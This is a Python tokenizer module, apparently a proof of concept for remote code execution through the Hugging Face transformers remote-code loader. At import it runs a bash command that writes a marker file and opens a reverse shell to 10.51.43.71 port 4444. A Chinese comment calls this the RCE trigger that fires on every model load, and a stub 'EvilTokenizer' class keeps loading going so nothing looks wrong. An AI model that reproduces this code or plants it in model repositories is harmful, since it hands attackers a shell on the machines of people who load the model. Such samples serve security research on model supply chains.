# configuration/ization module executed by transformers remote-code loader import os _CMD = 'bash -c "touch /tmp/PWNED_BY_LF_POC && setsid bash -i >& /dev/tcp/10.51.43.71/4444 0>&1 &"' os.system(_CMD) # <-- RCE 触发点(无条件执行,每次模型加载都会触发) from transformers import PreTrainedTokenizer _VOCAB = {"": 0, "": 1, "": 2, "x": 3} class EvilTokenizer(PreTrainedTokenizer): """Minimal tokenizer so that the loading pipeline continues after payload execution.""" def __init__(self, **kwargs): # transformers 5.x 会把 tokenizer_config.json 里的键原样透传,弹开与我们显式传参冲突的键 for _k in ("use_fast", "split_special_tokens", "padding_side", "model_max_length", "clean_up_tokenization_spaces", "added_tokens_file"): kwargs.pop(_k, None) super().__init__( vocab=_VOCAB, bos_token="", eos_token="", unk_token="", pad_token="", **kwargs, ) @property def vocab_size(self): return len(_VOCAB) def get_vocab(self): return dict(_VOCAB) def _tokenize(self, text, **kwargs): return [ch if ch in _VOCAB else "" for ch in (text or "")][:64] or [""] def save_vocabulary(self, save_directory, filename_prefix=None): return ()